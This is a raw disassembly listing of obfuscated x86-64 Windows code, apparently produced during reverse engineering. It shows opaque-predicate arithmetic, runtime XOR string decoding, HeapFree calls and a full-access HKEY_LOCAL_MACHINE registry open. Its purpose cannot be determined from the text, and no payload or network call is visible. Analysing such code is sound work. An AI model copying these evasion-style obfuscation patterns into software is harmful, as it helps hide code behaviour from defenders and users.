mov ecx, r15d
and ecx, 0x80af8fdd
and eax, 0x7f507022
imul eax, ecx
mov ecx, r15d
and ecx, 0x7f507022
or r15d, 0x7f507022
imul r15d, ecx
add r15d, eax
sub rsp, 0x20
mov rcx, rbx
call r14
add rsp, 0x20
cmp r15d, 0xa809b96
jne 0x140069040
sub rsp, 0x20
mov rcx, rbx
call r14
add rsp, 0x20
jmp 0x140068fd7
mov eax, dword [0x1415b1ca0]
and eax, dword [0x1415b1ca4]
mov ecx, eax
not ecx
and ecx, 0x9b36d6f8
mov edx, eax
and edx, 0x64c92907
imul edx, ecx
mov ecx, eax
and ecx, 0x9b36d6f8
or eax, 0x9b36d6f8
imul eax, ecx
add eax, edx
mov ecx, eax
not ecx
and ecx, 0x5993ccd5
mov edx, eax
and edx, 0xa66c3328
imul edx, ecx
mov ecx, eax
and ecx, 0x5993ccd0
or eax, 0x5993ccd5
imul eax, ecx
add eax, edx
imul eax, eax, 0xcdad659e
cmp eax, 0xe3a8fbdb
ja 0x140069040
cmp qword [rdi + 8], 0
je 0x1400691fc
cmp qword [rdi + 0x10], 0x11
jb 0x14006915a
nop dword [rax]
mov eax, dword [0x1415b1ca8]
xor edx, edx
div dword [0x1415b1cac]
mov ecx, eax
and ecx, 0x7e764b5d
xor eax, 0x7e764b5d
lea eax, [rax + rcx*2]
imul eax, eax, 0x82c02a0c
xor eax, 0x9e73bcea
cmp eax, 0x4b4f20dc
jb 0x1400690c0
mov eax, dword [0x1415b1cb0]
sub eax, dword [0x1415b1cb4]
or eax, 0xdfa35e02
mov ecx, eax
and ecx, 0x12102d5a
add ecx, ecx
sub eax, ecx
cmp eax, 0x392638a8
je 0x1400690f0
mov rbx, qword [rbx - 8]
nop dword [rax + rax]
mov eax, dword [0x1415b1cb8]
mov ecx, dword [0x1415b1cbc]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
not eax
and eax, 0x8615ddad
cmp eax, 0x339b566c
je 0x140069120
mov eax, dword [0x1415b1cc0]
xor eax, dword [0x1415b1cc4]
and eax, 0x30200254
or eax, 0x49d74583
mov ecx, eax
and ecx, 0x51e54386
add ecx, ecx
sub eax, ecx
cmp eax, 0xaa179f47
je 0x1400691e0
mov eax, dword [0x1415b1cc8]
xor edx, edx
div dword [0x1415b1ccc]
mov r15d, eax
not eax
and eax, 0xf0d7a201
mov ecx, r15d
and ecx, 0xf285dfe
imul ecx, eax
mov eax, r15d
and eax, 0xf0d7a201
or r15d, 0xf0d7a201
imul r15d, eax
add r15d, ecx
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
cmp r15d, 0x23297ebc
jne 0x1400691fc
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, rbx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x140069183
mov eax, dword [0x1415b1cd0]
sub eax, dword [0x1415b1cd4]
mov ecx, eax
xor ecx, 0x13cdeb13
add ecx, eax
and eax, 0x6c3214ec
sub ecx, eax
add ecx, 0x9034d27
and ecx, 0x4bda45af
cmp ecx, 0xc8c256e2
ja 0x140069251
mov eax, dword [0x1415b1cd8]
and eax, dword [0x1415b1cdc]
or eax, 0xffddffed
add eax, 0x17ad4a46
mov rbx, qword [0x1415d3918]
cmp eax, 0xac42d0eb
jbe 0x14006925a
mov rax, qword [0x1415d3918]
jmp 0x14006922d
mov eax, dword [0x1415b1ce0]
xor eax, dword [0x1415b1ce4]
add eax, 0x182c9637
mov ecx, eax
or ecx, 0x15102010
not eax
and eax, 0x80068566
and ecx, 0x7ff06019
or ecx, eax
xor ecx, 0x8c908448
cmp ecx, 0xc0480af
mov r15, qword [rbp + 0x1968]
jae 0x1400692ad
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rdi, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1ce8]
mov ecx, dword [0x1415b1cec]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
mov ecx, eax
not ecx
or ecx, 0xd00fb790
or eax, 0x2ff0486f
and eax, ecx
imul r14d, eax, 0xb37b22f1
not r14d
or r14d, 0x3a1205ed
sub rsp, 0x20
mov rcx, rbx
xor edx, edx
mov r8, rsi
call rdi
add rsp, 0x20
cmp r14d, 0x670811cc
je 0x1400692c0
movabs rsi, 0x5509b5354ac1df05
mov eax, dword [0x1415b1cf0]
mov ecx, dword [0x1415b1cf4]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
imul eax, eax, 0x604794b0
add eax, 0x3989360c
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xabf71550
and ecx, 0x5408eaa0
imul ecx, edx
mov edx, eax
and edx, 0x5408eaac
or eax, 0x5408eaac
imul eax, edx
add eax, ecx
lea rdi, [0x141599114]
cmp eax, 0x3f90001b
jae 0x1400693c7
mov qword [r15], rdi
mov rcx, qword [r15]
mov dword [r13], 0x4c323760
mov edx, dword [r13]
sub rsp, 0x20
call fcn.140048750
add rsp, 0x20
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
movzx eax, byte [rax + 0x10]
movabs rbx, 0xed256b8fa72d41e7
not rsi
nop word cs:[rax + rax]
mov r14d, dword [0x1415b1cf8]
mov eax, dword [0x1415b1cfc]
mov ecx, r14d
and ecx, eax
add ecx, ecx
add r14d, eax
sub r14d, ecx
or r14d, 0x6042da7a
add r14d, 0x690c80bd
and r14d, 0x7fffff8f
xor r14d, 0xaf310888
mov qword [r15], rdi
mov rcx, qword [r15]
mov dword [r13], 0x4c323760
mov edx, dword [r13]
sub rsp, 0x20
call fcn.140048750
add rsp, 0x20
mov rcx, qword [rax]
mov r8, qword [rax + 8]
movzx r9d, byte [rax + 0x10]
cmp r14d, 0xce5bc203
ja 0x1400693e0
not r8
mov rax, r8
or rax, rsi
not rax
and r8, rsi
or r8, rax
mov rax, rcx
and rax, rbx
add rax, rax
add rcx, rbx
sub rcx, rax
not r8
mov eax, dword [0x1415b1d00]
xor edx, edx
div dword [0x1415b1d04]
add eax, 0xecee14fe
imul rax, rax, 0x59c215f9
shr rax, 0x3d
add eax, 0xfbf9ae09
cmp eax, 0xb2badf94
mov rdx, qword [rbp + 0x1810]
mov rdi, qword [rbp + 0x1818]
jb 0x140069502
mov eax, dword [0x1415b1d08]
mov esi, dword [0x1415b1d0c]
mov r10d, esi
not r10d
mov r11d, eax
and r11d, r10d
or r10d, eax
not r10d
imul r10d, r11d
mov r11d, eax
and r11d, esi
or eax, esi
imul eax, r11d
add eax, r10d
and eax, 0xc55ef7f0
add eax, 0x6040d6ca
and eax, 0xc41d49e8
mov r10d, r9d
xor r10b, 0xa2
mov qword [rdi], rcx
mov qword [rdi + 8], r8
mov byte [rdi + 0x10], r10b
mov qword [rdx], rdi
cmp eax, 0xa0a6443c
jbe 0x140069523
mov eax, r9d
not al
or al, 0x5d
mov r10d, r9d
or r10b, 0xa2
and r10b, al
mov qword [rdi], rcx
mov qword [rdi + 8], r8
mov byte [rdi + 0x10], r10b
mov qword [rdx], rdi
jmp 0x1400694a6
add rdi, 0x11
mov qword [rdx + 8], rdi
mov word [rdx + 0x10], 0
mov dword [rdx + 0x18], 1
sub rsp, 0x20
mov rdi, qword [rbp + 0x1800]
mov rcx, rdi
call fcn.1400551c0
add rsp, 0x20
mov r14, qword [rbp + 0x1808]
mov qword [r14], 0
mov dword [r12], 0
mov rbx, qword [rdi + 8]
sub rsp, 0x50
mov qword [rsp + 0x40], r12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0xf003f
mov dword [rsp + 0x20], 0
mov rcx, 0xffffffff80000002
mov rdx, rbx
xor r8d, r8d
xor r9d, r9d
call fcn.14021a110
add rsp, 0x50
mov esi, eax
test eax, eax
je 0x140069630
movsxd r13, esi
xor eax, eax
nop dword [rax + rax]
test al, al
jne 0x1400695c0
shl r13, 0x20
or r13, 2
nop dword [rax]
mov eax, dword [0x1415b1d20]
xor edx, edx
div dword [str._7RM2_v_]
add eax, 0xda65f927
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x1532510
and ecx, 0x1eacdaef
imul ecx, edx
mov edx, eax
and edx, 0x1eacdaef
or eax, 0x1eacdaef
imul eax, edx
add eax, ecx
or eax, 0xe90ac9ff
cmp eax, 0x11ff4d1e
jb 0x1400695d0
cmp qword [rdi], 0
jne 0x140069699
jmp 0x140069740
mov eax, dword [0x1415b1d10]
xor edx, edx
div dword [0x1415b1d14]
add eax, 0x10f0b0d2
and eax, 0x5a7b7b8c
imul rax, rax, 0x63e29b47
shr rax, 0x3d
cmp eax, 0xa79f734
je 0x140069630
nop word [rax + rax]
mov eax, dword [0x1415b1d18]
sub eax, dword [0x1415b1d1c]
imul rcx, rax, 0x680cfc1
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1e
or eax, 0xd91d37ec
cmp eax, 0x94917e06
jbe 0x140069660
mov r13, qword [r14]
cmp qword [rdi], 0
je 0x140069740
mov r15, qword [0x1415d3918]
mov eax, dword [0x1415b1d28]
mov ecx, dword [0x1415b1d2c]
mov edx, eax
not edx
and edx, ecx
not ecx
and ecx, eax
sub ecx, edx
imul eax, ecx, 0x4d603fa1
cmp eax, 0xa561946b
jne 0x1400696da
sub rsp, 0x20
mov rcx, r15
xor edx, edx
mov r8, rbx
call fcn.140219910
add rsp, 0x20
mov r14, qword [sym.imp.KERNEL32.dll_HeapFree]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1d30]
xor edx, edx
div dword [0x1415b1d34]
or eax, 0x8da24612
and eax, 0xcfae5712
shr eax, 1
imul r12, rax, 0x52b5be61
shr r12, 0x3d
sub rsp, 0x20
mov rcx, r15
xor edx, edx
mov r8, rbx
call r14
add rsp, 0x20
cmp r12d, 0x6001fdcf
ja 0x1400696f0
nop word cs:[rax + rax]
mov eax, dword [0x1415b1d38]
add eax, dword [0x1415b1d3c]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xd85e9731
and ecx, 0x27a168ce
imul ecx, edx
mov edx, eax
and edx, 0x27a168ce
or eax, 0x27a168ce
imul eax, edx
add eax, ecx
add eax, 0x1c1ebd91
mov ecx, eax
not ecx
and ecx, 0x4edf98e0
and eax, 0xb120671f
sub eax, ecx
cmp eax, 0xd35b17be
ja 0x140069740
mov eax, 0xa8f76fc7
mov r12, qword [rbp + 0x19b8]
mov rbx, qword [rbp + 0x19c8]
mov r14, qword [rbp + 0x17f0]
mov r15, qword [rbp + 0x17f8]
nop word cs:[rax + rax]
mov ecx, dword [0x1415b1d40]
mov edx, dword [0x1415b1d44]
mov r8d, edx
not r8d
and r8d, ecx
xor edx, ecx
add edx, ecx
sub edx, r8d
and edx, 0xfa8a4c30
imul ecx, edx, 0x342ee703
imul rcx, rax
shr rcx, 0x3d
cmp ecx, 0xd1115d8a
je 0x1400697c0
test esi, esi
je 0x140069e6b
mov eax, dword [0x1415b1d48]
add eax, dword [0x1415b1d4c]
cmp eax, 0x87e0050c
je 0x140069800
mov qword [rbp + 0x1a58], r13
mov ecx, dword [0x1415b1d50]
mov eax, dword [0x1415b1d54]
mov edx, ecx
not edx
and edx, eax
not eax
and eax, ecx
sub eax, edx
mov ecx, eax
or ecx, 0x2e4b06dd
mov edx, eax
not edx
and edx, 0x1010d822
mov r8d, ecx
and r8d, 0xbad2354
imul r8d, edx
and ecx, 0x1452dcab
or eax, 0x1e5bdeff
imul eax, ecx
add eax, r8d
or eax, 0xe9ea95f4
cmp eax, 0x28c518aa
jae 0x14006989e
lea rax, [0x14159686c]
mov qword [r15], rax
mov rcx, qword [r15]
mov dword [r14], 0x16f95ce6
mov edx, dword [r14]
sub rsp, 0x20
call fcn.140038b50
add rsp, 0x20
mov rcx, qword [rax]
mov rcx, qword [rax + 8]
movzx eax, byte [rax + 0x10]
movabs rbx, 0x4a5164714a22c733
movabs r13, 0xd59f4b46363de63
lea rdi, [0x14159686c]
nop dword [rax]
mov eax, dword [0x1415b1d58]
xor edx, edx
div dword [0x1415b1d5c]
mov esi, eax
and esi, 0x8fcf4c82
add esi, 0xa8061680
not esi
or esi, 0x502d5b8d
mov qword [r15], rdi
mov rcx, qword [r15]
mov dword [r14], 0x16f95ce6
mov edx, dword [r14]
sub rsp, 0x20
call fcn.14021a160
add rsp, 0x20
mov rcx, qword [rax]
xor rcx, r13
mov rdx, qword [rax + 8]
xor rdx, rbx
movzx eax, byte [rax + 0x10]
cmp esi, 0x94d6a027
ja 0x1400698c0
xor al, 0xde
mov r8, qword [rbp + 0x1838]
mov qword [r8], rcx
mov qword [r8 + 8], rdx
mov byte [r8 + 0x10], al
mov rax, r8
add rax, 0x11
mov rdx, qword [rbp + 0x1830]
mov qword [rdx], r8
mov qword [rdx + 8], rax
mov word [rdx + 0x10], 0
mov dword [rdx + 0x18], 1
sub rsp, 0x20
mov rbx, qword [rbp + 0x1828]
mov rcx, rbx
call fcn.1400551c0
add rsp, 0x20
mov rsi, qword [rbp + 0x1820]
mov qword [rsi], 0
mov r15, qword [rbx + 8]
sub rsp, 0x30
mov qword [rsp + 0x20], rsi
mov rcx, 0xffffffff80000002
mov rdx, r15
xor r8d, r8d
mov r9d, 2
call fcn.14021a190
add rsp, 0x30
mov edi, eax
mov rax, qword [rsi]
mov qword [rbp + 0x1a68], rax
cmp qword [rbx], 0
mov rbx, qword [rbp + 0x19c8]
mov r13, qword [rbp + 0x1980]
je 0x140069aa8
mov r13, qword [0x1415d3918]
mov eax, dword [0x1415b1d60]
mov ecx, dword [str.nU__n]
not eax
not ecx
and ecx, eax
mov eax, ecx
not eax
mov edx, eax
or edx, 0xe25e6d3d
mov r8d, edx
and r8d, 0xc5c450f8
and ecx, 0x18218202
imul ecx, r8d
and edx, 0x3a3baf07
or eax, 0xfa7fef3f
imul eax, edx
add eax, ecx
imul eax, eax, 0xc9b8d7dd
cmp eax, 0x77da9ef1
jbe 0x140069a30
sub rsp, 0x20
mov rcx, r13
xor edx, edx
mov r8, r15
call fcn.140219910
add rsp, 0x20
nop dword [rax]
mov eax, dword [0x1415b1d68]
xor edx, edx
div dword [0x1415b1d6c]
mov esi, eax
add esi, 0xb3406b96
sub rsp, 0x20
mov rcx, r13
xor edx, edx
mov r8, r15
call fcn.140219910
add rsp, 0x20
cmp esi, 0xe852af08
ja 0x140069a30
mov eax, 0x88d74347
mov r13, qword [rbp + 0x1980]
nop
mov ecx, dword [0x1415b1d70]
mov edx, dword [0x1415b1d74]
mov r8d, ecx
xor r8d, edx
not r8d
or ecx, edx
and ecx, r8d
not ecx
or ecx, 0x331ceea4
xor ecx, 0x8bf8805a
imul rcx, rax
shr rcx, 0x3f
cmp ecx, 0xe312abd1
je 0x140069a70
mov r8, qword [rbp + 0x1a58]
nop
mov eax, dword [0x1415b1d78]
xor edx, edx
div dword [0x1415b1d7c]
mov ecx, eax
xor ecx, 0xadd911d0
and ecx, eax
xor ecx, 0x486884b0
shr ecx, 4
imul rax, rcx, 0x100fa7b7
shr rax, 0x36
cmp eax, 0xd5068852
ja 0x140069ab0
nop word cs:[rax + rax]
mov eax, dword [0x1415b1d80]
mov ecx, dword [0x1415b1d84]
mov edx, eax
xor edx, ecx
not edx
and edx, ecx
add edx, edx
sub ecx, edx
add eax, ecx
add eax, 0x3b288381
imul rax, rax, 0x31f513b
shr rax, 0x38
imul eax, eax, 0xdf29c7e4
cmp eax, 0xb6f76977
jb 0x140069af0
nop word [rax + rax]
mov eax, dword [0x1415b1d88]
xor edx, edx
div dword [str.9la_f]
mov ecx, eax
xor ecx, 0x10bf8502
and eax, 0x6f407afd
add eax, eax
sub eax, ecx
mov ecx, eax
not ecx
and ecx, 0x8d0567c4
mov edx, eax
and edx, 0x72fa983b
imul edx, ecx
mov ecx, eax
and ecx, 0x8d0567c4
or eax, 0x8d0567c4
imul eax, ecx
add eax, edx
and eax, 0xcc515aac
cmp eax, 0x13ee58ce
jb 0x140069b30
test edi, edi
jne 0x140069ec9
mov eax, 0xa171e929
nop
mov ecx, dword [0x1415b1e60]
mov edx, dword [0x1415b1e64]
xor edx, ecx
not edx
and edx, ecx
or edx, 0x7ebc7bb8
imul rdx, rax
shr rdx, 0x3f
add edx, 0x99e4994b
cmp edx, 0x46f59610
jb 0x140069b90
nop
mov eax, dword [0x1415b1e68]
xor edx, edx
div dword [0x1415b1e6c]
imul rax, rax, 0x335755bd
shr rax, 0x3c
not eax
and eax, 0x4aa53387
xor eax, 0x971014bf
imul eax, eax, 0x3c93543e
cmp eax, 0xc236b0f7
jb 0x140069bc0
mov ecx, r8d
and ecx, 3
nop dword [rax + rax]
mov eax, dword [0x1415b1e70]
xor edx, edx
div dword [0x1415b1e74]
or eax, 0x16ffcb49
imul rax, rax, 0x22f254c9
shr rax, 0x3c
add eax, 0xf694f7ba
cmp eax, 0x59102e96
jb 0x140069c00
cmp rcx, 2
jg 0x140069e9a
cmp ecx, 1
jne 0x14006b513
lea rsi, [r8 - 1]
nop word cs:[rax + rax]
mov eax, dword [0x1415b1e78]
mov ecx, dword [0x1415b1e7c]
not eax
not ecx
or ecx, eax
mov eax, ecx
not eax
and ecx, 0x83f3e2c9
mov edx, eax
and edx, 0x7c0c1d36
imul edx, ecx
mov ecx, eax
and ecx, 0x83f3e2c9
or eax, 0x83f3e2c9
imul eax, ecx
add eax, edx
add eax, 0xc6058d05
mov ecx, eax
and ecx, 0x1f4270c7
xor eax, 0x9f4270c7
lea eax, [rax + rcx*2]
cmp eax, 0x5830500c
je 0x140069c50
mov r15, qword [r8 - 1]
mov rdi, qword [r8 + 7]
nop dword [rax]
mov eax, dword [0x1415b1e80]
or eax, dword [0x1415b1e84]
imul eax, eax, 0xe7c28ea7
cmp eax, 0x2015c145
je 0x140069cb0
mov rax, qword [rdi]
test rax, rax
je 0x140069ce0
sub rsp, 0x20
mov rcx, r15
call rax
add rsp, 0x20
nop
mov eax, dword [0x1415b1e88]
mov ecx, dword [0x1415b1e8c]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
or eax, 0x231a1d36
mov ecx, eax
and ecx, 0x765acbe1
add ecx, ecx
neg ecx
add eax, ecx
add eax, 0x765acbe1
mov ecx, eax
not ecx
mov edx, eax
and edx, 0x7371ba7
and ecx, 0xf8c8e458
imul ecx, edx
mov edx, eax
and edx, 0xf8c8e458
or eax, 0xf8c8e458
imul eax, edx
add eax, ecx
cmp eax, 0xdaadda97
ja 0x140069ce0
cmp qword [rdi + 8], 0
je 0x140069e1e
mov rcx, qword [rdi + 0x10]
nop dword [rax + rax]
mov eax, dword [0x1415b1e90]
xor edx, edx
div dword [str.uRUL_]
imul rdx, rax, 0xb083129
shr rdx, 0x20
sub eax, edx
shr eax, 1
add eax, edx
shr eax, 0x1e
or eax, 0x38a1fc85
xor eax, 0x48d0dea6
cmp eax, 0x31a999b9
jb 0x140069d50
nop word cs:[rax + rax]
mov edx, dword [0x1415b1e98]
mov eax, dword [0x1415b1e9c]
mov r8d, edx
xor r8d, eax
not eax
and eax, edx
add eax, eax
sub eax, r8d
mov edx, eax
xor edx, 0x511e1d8e
or eax, 0xaee1e271
and eax, edx
mov edx, eax
not edx
and edx, 0xa7622778
mov r8d, eax
and r8d, 0x589dd887
imul r8d, edx
mov edx, eax
and edx, 0xa7622778
or eax, 0xa7622778
imul eax, edx
add eax, r8d
add eax, 0x265f7eec
cmp eax, 0x791b805c
jb 0x140069d90
cmp rcx, 0x11
jb 0x140069e04
mov r15, qword [r15 - 8]
xor eax, eax
nop dword [rax]
test al, al
jne 0x140069e00
mov rcx, qword [0x1415d3918]
sub rsp, 0x20
xor edx, edx
mov r8, r15
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov eax, dword [0x1415b1ea0]
and eax, dword [0x1415b1ea4]
mov ecx, eax
not ecx
and ecx, 0x41d0e195
mov edx, eax
and edx, 0xbe2f1e6a
imul edx, ecx
mov ecx, eax
and ecx, 0x41d0e195
or eax, 0x41d0e195
imul eax, ecx
add eax, edx
xor eax, 0x138fd509
add eax, 0xe362dd0a
cmp eax, 0xcc3da208
ja 0x140069f71
jmp 0x140069f19
mov qword [rbp + 0x1a68], r13
mov rsi, qword [rbp + 0x19d8]
mov rdi, qword [rbp + 0x1930]
mov rdx, qword [rbp + 0x1938]
mov rcx, qword [rbp + 0x1940]
mov r13, qword [rbp + 0x1980]
jmp 0x140069fc1
xor eax, eax
mov rsi, qword [rbp + 0x19d8]
mov rdi, qword [rbp + 0x1930]
mov rdx, qword [rbp + 0x1938]
mov rcx, qword [rbp + 0x1940]
nop dword [rax + rax]
test al, al
jne 0x140069ec0
jmp 0x140069fc1
mov eax, dword [0x1415b1d90]
xor eax, dword [0x1415b1d94]
add eax, 0xaa13e079
cmp eax, 0x321e88a
jae 0x140069ef0
ud2
mov eax, dword [0x1415b1d98]
xor eax, dword [0x1415b1d9c]
add eax, 0x6eaa502b
and eax, 0x7bbd9c95
add eax, 0x837c2f25
ud2
mov eax, dword [0x1415b1ea8]
xor edx, edx
div dword [0x1415b1eac]
mov ecx, eax
and ecx, 0x6c1a670d
xor eax, 0xec1a670d
lea eax, [rax + rcx*2]
mov ecx, eax
not ecx
mov edx, eax
and edx, 0xbc7686eb
and ecx, 0x43897914
imul ecx, edx
mov edx, eax
and edx, 0x43897914
or eax, 0x43897914
imul eax, edx
add eax, ecx
xor eax, 0x67c1f81b
mov r15, qword [0x1415d3918]
cmp eax, 0xf15a2cc6
jbe 0x140069f7a
mov rax, qword [0x1415d3918]
jmp 0x140069f19
mov eax, dword [0x1415b1eb0]
xor eax, dword [str.N__]
mov ecx, 0xac63d1d9
imul rcx, rax
shr rcx, 0x3d
mov eax, ecx
not eax
or eax, 0xd343a2e
or ecx, 0xd343a29
and ecx, eax
mov eax, 0xbbcca997
imul rax, rcx
shr rax, 0x3f
cmp eax, 0x5fe7208d
ja 0x14006b4d6
jmp 0x14006b4a1
lea rax, [0x14158c26a]
mov qword [rcx], rax
mov rcx, qword [rcx]
mov dword [rdx], 0x691e3ea8
mov edx, dword [rdx]
sub rsp, 0x20
call fcn.14021a1c0
add rsp, 0x20
mov ecx, 0xaf071db0
xor ecx, dword [rax]
movzx eax, byte [rax + 4]
xor al, 0xe8
movzx eax, al
shl rax, 0x20
mov rdx, rcx
not rdx
movabs r8, 0x3dade00255
and rdx, r8
and ecx, 0x521ffdaa
or rcx, rdx
xor rax, r8
xor rax, rcx
mov dword [r13], eax
shr rax, 0x20
mov byte [r13 + 4], al
mov rax, r13
add rax, 5
mov qword [rdi], r13
mov qword [rdi + 8], rax
mov word [rdi + 0x10], 0
mov dword [rdi + 0x18], 1
sub rsp, 0x20
mov rcx, rsi
mov rdx, rdi
call fcn.1400551c0
add rsp, 0x20
mov rax, qword [rbp + 0x19e8]
mov dword [rax], 0x800
mov dword [rbx], 0
movzx eax, byte [0x1415d3950]
sub rsp, 0x20
mov edx, 0x800
xor ecx, ecx
call fcn.1401b5e70
add rsp, 0x20
test rax, rax
je 0x14006a0ab
mov r13, rax
mov eax, dword [0x1415b1da0]
xor edx, edx
div dword [0x1415b1da4]
imul eax, eax, 0x83cccdaf
add eax, 0xeac3cea1
cmp eax, 0x68f0c230
jb 0x14006a124
jmp 0x14006a0ba
xor eax, eax
test al, al
jne 0x14006ad3b
jmp 0x14006ad16
mov eax, dword [0x1415b1da8]
xor edx, edx
div dword [0x1415b1dac]
mov ecx, eax
not ecx
and ecx, 0x6fd387b7
mov edx, eax
and edx, 0x902c7848
imul edx, ecx
mov ecx, eax
and ecx, 0x6fd387b7
or eax, 0x6fd387b7
imul eax, ecx
add eax, edx
mov ecx, eax
and ecx, 0x68698384
or eax, 0x68698384
add eax, ecx
mov ecx, eax
xor ecx, 0x6aed441a
add ecx, eax
and eax, 0x9512bbe5
sub ecx, eax
mov qword [r12], 0x800
mov qword [r12 + 8], r13
cmp ecx, 0xd5d1394c
jne 0x14006a133
mov qword [r12], 0x800
mov qword [r12 + 8], r13
jmp 0x14006a0ba
mov qword [r12 + 0x10], 0
mov r15, qword [rsi + 8]
mov ecx, 0x800
xor r14d, r14d
xor eax, eax
mov rdx, rax
mov rdi, rcx
mov eax, dword [0x1415b1db0]
and eax, dword [0x1415b1db4]
mov ecx, eax
xor ecx, 0xa75fde96
and ecx, eax
mov eax, ecx
not eax
or eax, 0xc2429480
or ecx, 0x10044220
and ecx, eax
or ecx, 0x2db9295f
cmp ecx, 0xf4b8ea75
ja 0x14006a150
mov r12, rdi
mov qword [rbp + 0x1a58], rdx
sub r12, rdx
mov rax, qword [rbp + 0x19e8]
nop dword [rax]
sub rsp, 0x30
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], r13
mov rcx, qword [rbp + 0x1a68]
mov rdx, r15
xor r8d, r8d
mov r9, rbx
call fcn.14021a1f0
add rsp, 0x30
mov esi, eax
nop dword [rax]
test r14b, r14b
jne 0x14006a1d0
cmp esi, 0xea
jl 0x14006a321
jne 0x14006a329
mov eax, dword [str.___to]
mov ecx, dword [0x1415b1dcc]
not eax
not ecx
or ecx, eax
mov eax, ecx
or eax, 0x2080
not ecx
and ecx, 0x89414100
xor eax, 0x40109041
or eax, ecx
and eax, 0xc951f1c1
or eax, 0x36ae0a32
cmp eax, 0xb531d695
je 0x14006a1e7
mov rax, qword [rbp + 0x19e8]
mov esi, dword [rax]
cmp r12, rsi
jae 0x14006a1a0
mov eax, dword [0x1415b1df0]
mov ecx, dword [0x1415b1df4]
mov edx, eax
not edx
and edx, ecx
mov r8d, ecx
not r8d
and r8d, eax
imul r8d, edx
mov edx, eax
and edx, ecx
or eax, ecx
imul eax, edx
add eax, r8d
and eax, 0x72c005a6
xor eax, 0x424001a6
cmp eax, 0x1581c5ac
je 0x14006a2fe
mov rdi, qword [rbp + 0x1a58]
mov r12d, dword [0x1415b1df8]
and r12d, dword [0x1415b1dfc]
mov eax, r12d
not eax
and eax, 0x8f0a883a
mov ecx, r12d
and ecx, 0x70f577c5
imul ecx, eax
mov eax, r12d
and eax, 0x8f0a883a
or r12d, 0x8f0a883a
imul r12d, eax
add r12d, ecx
xor r12d, 0x40650008
or r12d, 0x371ada67
sub rsp, 0x20
mov rbx, qword [rbp + 0x19b8]
mov rcx, rbx
mov rdx, rdi
mov r8, rsi
call fcn.1402570e0
add rsp, 0x20
mov rcx, qword [rbx]
mov r13, qword [rbx + 8]
mov rax, qword [rbx + 0x10]
mov rbx, qword [rbp + 0x19c8]
cmp r12d, 0xf806ec83
je 0x14006a279
jmp 0x14006a14a
sub rsp, 0x20
mov rcx, qword [rbp + 0x19b8]
mov rdx, qword [rbp + 0x1a58]
mov r8, rsi
call fcn.1402570e0
add rsp, 0x20
jmp 0x14006a272
test esi, esi
je 0x14006a3b3
shl rsi, 0x20
or rsi, 2
test rdi, rdi
je 0x14006a4f5
mov eax, dword [0x1415b1e00]
mov ecx, dword [0x1415b1e04]
mov edx, ecx
not edx
mov r8d, eax
and r8d, edx
or edx, eax
not edx
imul edx, r8d
mov r8d, eax
and r8d, ecx
or eax, ecx
imul eax, r8d
add eax, edx
mov ecx, eax
not ecx
and ecx, 0xb0cce5ed
mov edx, eax
and edx, 0x4f331a12
imul edx, ecx
mov ecx, eax
and ecx, 0xb0cce5ed
or eax, 0xb0cce5ed
imul eax, ecx
add eax, edx
mov ecx, eax
xor ecx, 0x4580408
or eax, 0x4001
and eax, ecx
not eax
and eax, 0x4584409
cmp eax, 0xe2a6cc5
ja 0x14006a493
jmp 0x14006a45a
mov rax, qword [rbp + 0x19e8]
mov r14d, dword [rax]
mov rax, qword [rbp + 0x19b8]
mov qword [rax + 0x10], r14
mov r12d, dword [rbx]
cmp r12d, 0xb
jbe 0x14006a3e9
movabs rsi, 0xde00000002
test rdi, rdi
jne 0x14006a33a
jmp 0x14006a4f5
mov eax, 0x914a6513
nop
mov ecx, dword [0x1415b1dd0]
mov edx, dword [0x1415b1dd4]
mov r8d, ecx
and r8d, edx
or ecx, edx
add ecx, r8d
add ecx, 0x2348b3c2
shr ecx, 1
imul rcx, rax
shr rcx, 0x3e
cmp ecx, 0x490f4e97
je 0x14006a3f0
nop
mov eax, dword [0x1415b1dd8]
mov ecx, dword [0x1415b1ddc]
mov edx, ecx
not edx
and edx, eax
xor ecx, eax
add ecx, eax
sub ecx, edx
add ecx, 0xea1b42fb
xor ecx, 0x890009
or ecx, 0xeb727d66
cmp ecx, 0x9e75c19b
je 0x14006a420
mov rsi, r13
jmp 0x14006a510
mov eax, dword [0x1415b1e08]
mov ecx, dword [0x1415b1e0c]
mov edx, eax
and edx, ecx
add edx, edx
add eax, ecx
sub eax, edx
add eax, 0x7cdcad53
imul rax, rax, 0x8a6d6c5
shr rax, 0x3a
or eax, 0xa102c8dc
mov rcx, qword [0x1415d3918]
cmp eax, 0x188144a7
jae 0x14006a49c
mov rax, qword [0x1415d3918]
jmp 0x14006a45a
sub rsp, 0x20
xor edx, edx
mov r8, r13
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
nop
mov eax, dword [0x1415b1e10]
mov ecx, dword [0x1415b1e14]
mov edx, ecx
not edx
mov r8d, eax
